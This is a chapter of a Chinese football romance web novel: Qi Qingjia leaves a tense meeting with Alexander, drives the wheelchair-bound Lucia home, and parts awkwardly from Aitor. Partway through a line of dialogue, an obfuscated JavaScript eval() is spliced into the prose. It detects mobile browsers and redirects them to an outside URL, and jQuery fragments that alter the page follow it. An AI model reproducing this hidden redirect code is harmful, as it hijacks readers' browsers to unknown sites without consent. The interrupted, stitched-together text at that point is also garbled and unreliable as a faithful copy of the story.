20. Ch. 20

作品:《世界是颗任意球[足球]

    “嗯,我知道那个位置,我现在就过去。”齐清佳一边接电话,一边站起身,走向衣架去拿外套。


    沙发上的亚历山大斜倚着身体,目光追随着她的身影,唇角挂着一抹若有若无的笑意。


    “我现在有急事要走,你还有什么要说的,明天、不对、等周一再说。”齐清佳披上外套,语气不耐地交代道。


    “什么事这么急?”他双臂抱胸,懒洋洋地挑起眉梢,一副看戏的模样。


    齐清佳没理会他意味深长的表情,只冷哼一声,“什么事都不关你的事。”


    “你的绯闻也不关我的事,我不是也坐在这里了?”亚历山大扬了扬下巴,语气轻慢,目光自下而上扫过她,然后眯起眼睛说:“你那位小男友找你?”


    齐清佳深吸一口气,冷声道:“你现在就可以滚,我没求你帮我。”


    “晚了。”他摊开双手,耸了耸肩,“你知道的,我从不半途而废。”


    齐清佳没再回应,连多给他一个眼神都是浪费时间。


    她快步走到门口,伸手开门。


    身后亚历山大的声音陡然拔高,带着浓浓的讥讽和调侃,“说真的,别太倒贴男人。这么多年,你也总该有点长进了——”


    齐清佳脚步一顿,没有回头,朝身后果断竖起中指。


    然后“砰”的一声,门重重摔上,震得人耳朵生疼。


    出了门,她深呼吸几次才把那股怒意压下,快步走向停车场。


    刚坐进驾驶座,她就立刻拨出电话。


    “怎么了,佳?”安娜接得很快。


    “你能联系到约翰内斯吗?”齐清佳开门见山。


    电话那头顿了顿,“能啊,出什么事了吗?”


    “没什么,”齐清佳把声音压低了些,“我只是想和他聊一下。”


    “他在巴塞罗那,明天的比赛他肯定会去。”


    “好,那我明天随队。”齐清佳一边启动车子,一边点了点头,随即又补上一句,“麻烦你帮我和安东尼奥说一声。”


    “没问题。”安娜干脆地答应。


    暮色中,车灯划破宁静的街道。


    齐清佳握着方向盘,脑中一刻不停地推演着这场舆论风暴的时间线。


    从爆料出现的时机,到舆论扩散的节奏,再到媒体用词的精确——每一个细节似乎都被刻意安排过。


    而最令她困惑的,是亚历山大的反应——他表现得,未免太过“热心”了。


    他这样的人,不会在对自己毫无益处的事情上浪费这么多时间,哪怕是“为了艾玛”,更何况他这次来西班牙是为了红鹰资本的事。


    ——他到底在图什么?


    窗外的路灯一盏盏掠过,齐清佳紧盯前方的道路。


    现在她只能得出一个结论:这件事里一定有什么她不知情的原因。


    *


    齐清佳赶到卡莱塔海湾观景平台时,夕阳早已沉入海面之下,只剩海天相接处残存的最后一丝余晖。


    天色迅速暗了下来,海风也不再温柔,呼啸着从崖边卷过,带着夜晚的寒意,吹得人脸颊发疼。


    她远远地看见露西亚蜷缩在轮椅里,身体像一个被海风吹皱的小纸团,孤零零地倚在护栏边,手机屏幕一明一灭。


    齐清佳把车急停在路边,一边小跑过去,一边脱下外套。


    “露西亚。”她轻唤一声。


    露西亚抬起头,眼睛肿得厉害,脸颊被风吹得泛红,嘴唇干裂。


    “对不起,佳。你应该很忙吧……”露西亚声音沙哑,哽咽着说:“但艾托不接我的电话,他总是这样!”说着,眼泪就掉了下来。


    齐清佳俯身,将外套披在她肩头,轻轻擦去她的眼泪,“不忙,我这周休假了。而且我刚才就在这附近。”


    她顿了顿,又半开玩笑地解释道:“艾托今天应该要去俱乐部做心理评估,说不定现在也正忙着抹眼泪呢。”


    露西亚勉强笑了一下,还想说点什么,想了想还是没开口。


    齐清佳推着她回到车边,却一眼看到挡风玻璃上多了一张白纸——短短两分钟,她就收获了一张违停罚单。


    西班牙警察似乎格外钟情于这项业务,效率高得惊人。


    她皱了皱眉,抬手把罚单扯下来,迅速塞进大衣口袋里。


    可惜,露西亚视力很好,还是看见了。


    “原来这一片有警察巡逻,平时还真没见过。”齐清佳故作轻松地调侃。


    “是啊,早知道我就直接待在路边,等他们来给我的轮椅贴罚单,然后顺便送我回家。”露西亚也跟着开起玩笑。


    她顿了一下,又补上一句,“佳,这张罚单一定要我来付,好吗?”


    齐清佳耸耸肩,笑着从口袋里掏出罚单,递给她,“好啊,我才不和你抢。”


    比起被贴罚单,真正的难题还在后面——该怎么把露西亚转移到副驾驶座位上?


    齐清佳试图把她横抱起来,但很快发现,露西亚的腰部和腿部完全没有力量支撑,哪怕她已经很瘦了,齐清佳还是很难平稳抱起她。


    “我自己来把,你帮我抬一下腿就好。”露西亚熟练地放下轮椅扶手,一手撑着副驾座椅,一手用力拉住门框,努力把自己挪进车里。


    齐清佳顺势托住她的大腿。


    那双腿轻得过分,细瘦如柴,只剩下骨头的形状,毫无生气,仿佛根本不属于她的身体。


    她心头一紧,手上的动作更小心了些。


    露西亚自己调整好坐姿,拉好安全带,回头朝她点了点头:“佳,我的轮椅,麻烦你……”


    “哦对,轮椅。”齐清佳回过神,转身打开后备箱,一通折腾,终于把轮椅稳稳塞了进去。


    回到驾驶座时,她额头已经冒出一层薄汗,呼吸也有些急促。


    “佳……真的不好意思,太麻烦你了。”露西亚抿着嘴,双手无措地交握在腿上。


    齐清佳看着她,认真地摇了摇头:“相信我,我见过太多麻烦事了——但这绝对不算其中一件。”


    她说着发动车子,视线扫了一眼后视镜。


    不远处的街灯下站着一个熟悉的身影——是尼科。


    齐清佳又看了一眼身旁满面愁容的露西亚,无奈地笑了笑。


    *


    齐清佳非常清楚自己有多想见到他,却又害怕面对他。


    她默默祈祷,但愿他还没回家。


    可远远的,客厅的灯已经亮了,她握着方向盘的手不由自主地收紧了些。


    齐清佳把车停好,留露西亚在车上,自己先去按门铃。


    片刻后,艾托打开房门。


    他怔在原地,笑容瞬间凝滞在脸上,眼神里满是讶异和疑惑。


    齐清佳下意识避开他的目光,清了清嗓子,尽可能自然地解释:“我送露西亚回来。”


    “露西亚?”艾托皱起眉,视线越过她望向车边,随即匆匆略过她,快步走了出去。


    齐清佳叹了口气,快步跟上他。


    她有些不合时宜地观察着他的步态——他的恢复情况似乎比她预期中好一些。


    艾托打开后备箱,迅速把轮椅搬下来,随即走到副驾驶前,一把拉开车门。


    “尼科呢?”他声音压得很低,却藏不住怒意。


    露西亚斜了他一眼,“你呢?我给你打那么多电话你也没接。”


    艾托低头看手机,屏幕上是一串未接来电,十六通,全是露西亚的。


    他揉了揉眉心,再抬头时语气更重了:“所以,尼科呢?”


    露西亚不耐烦地反问:“你那么关心他干什么?能不能多关心我,多关心佳!”


    艾托一时无言,目光下意识扫向齐清佳,却什么也没说,只是皱着眉。


    齐清佳却莫名心虚,偏过头去装作在整理后备箱。


    “你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693158|173083||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赶紧抱我下来啊!”露西亚没好气,“你是打算让我今天住在佳的车里吗?”


    艾托不说话,上前一把将她打横抱起来。


    他的动作比平时重得多,露西亚的后脑“咚”得撞在门框上。


    “艾托,你有病吧!”她气得直接一拳锤在他肚子上,然后费力地摇着没电的轮椅往前挪。


    “你才有病,露西亚。”艾托一边反驳,一边伸手去推轮椅。


    “我有病全世界都知道,用不着你提醒!”露西亚头也不回地吼,“别跟着我!”


    此时,只剩他们两个人站在车边。


    齐清佳手足无措地关上后备箱,双手在身上来回擦了擦。


    “露西亚和尼科……他们应该又吵架了。”齐清佳低声道,“但尼科没走,我……看到了,就在附近。”


    “谢谢,麻烦你了。”艾托点头,回答得礼貌而疏离。


    她忽然不知道该说什么,大概应该说“不客气”,然后说“再见”,可她竟然舍不得。


    哪怕只是一起站着,连一个眼神都没有,这种似是而非的沉默也让她意外地感到安心。


    “你今天去做心理评估了吗?”她终于还是先开了口。


    艾托只是“嗯”了一声。


    “那就好。”她不自在地轻咳了一声,“那我先走了。”


    “为什么还要关心我?”艾托突然问,“不是说结束了吗?”


    他的声音轻得几乎可以被风吹散,里面也听不出情绪。


    齐清佳没有抬头,神情藏在夜色里,淡淡地开口:“你小时候我也这么关心你,可能是习惯了吧。”


    艾托眉头微蹙,眼神一点点黯淡下来。


    “可我早就不是小时候了,别再这么对我。”


    她怔住,抿了抿唇,半晌才轻声说:“好,以后不会了。”


    说完,艾托没有丝毫犹豫,转身进屋,把门带上。


    齐清佳站在原地,自嘲般地笑了一下,然后坐回车里,缓缓发动、驶离。


    艾托站在玄关,看着那辆车消失在夜色尽头,心口像被挖空了一块。


    *


    回到房间时,原本放在茶几上的婚礼请柬已经不见了。


    艾托走到垃圾桶前,低头一看,那张印着洁白的纸卡静静躺在最上面,被折得不成样子。


    他弯腰捡起来,理了理折痕,擦干净背面的污渍,然后转身走进厨房,热了一杯牛奶。


    敲门进入卧室时,露西亚正裹着薄毯,在阳台看星星。


    艾托悄悄走过去,把牛奶递到她手边。


    露西亚没说话,接过杯子,抿了一口。


    他们从小并不那么亲密。


    虽然年纪相差不大,但艾托大部分时间都泡在训练场上,露西亚说他不是在比赛,就是在准备比赛或者去比赛的路上。


    她出事那时,他正在塞维利亚集训,连消息都是助理教练事后告诉他的。


    他站在她身边,轻轻理了理她被海风吹得蓬乱的头发。


    “不管发生什么,我都在你身边,所以不要害怕。”


    露西亚垂下眼睫,笑了笑:“我知道。”


    紧接着,她皱起鼻子,“但我可不想让你照顾我。你太笨了,刚才我脑袋都被你撞出个包来!”


    “哦?”艾托低头靠近她,“哪儿?让我看看。”


    话音未落,他突然伸手,在她额头上结结实实地弹了一下。


    “啊——!”露西亚被猝不及防地痛叫出声,“你是不是不想活了,艾托!”


    艾托早就转身躲开,一边往外走一边喊:“喝完记得刷牙,杯子洗干净,别又给我放床头。”


    “知道了,妈妈!”露西亚翻了个白眼,冲他背影调侃。


    卧室门轻轻关上,房间安静下来。


    牛奶的温度透过掌心的皮肤蔓延至全身,她感觉鼻子酸酸的,急忙抬头继续看向星空。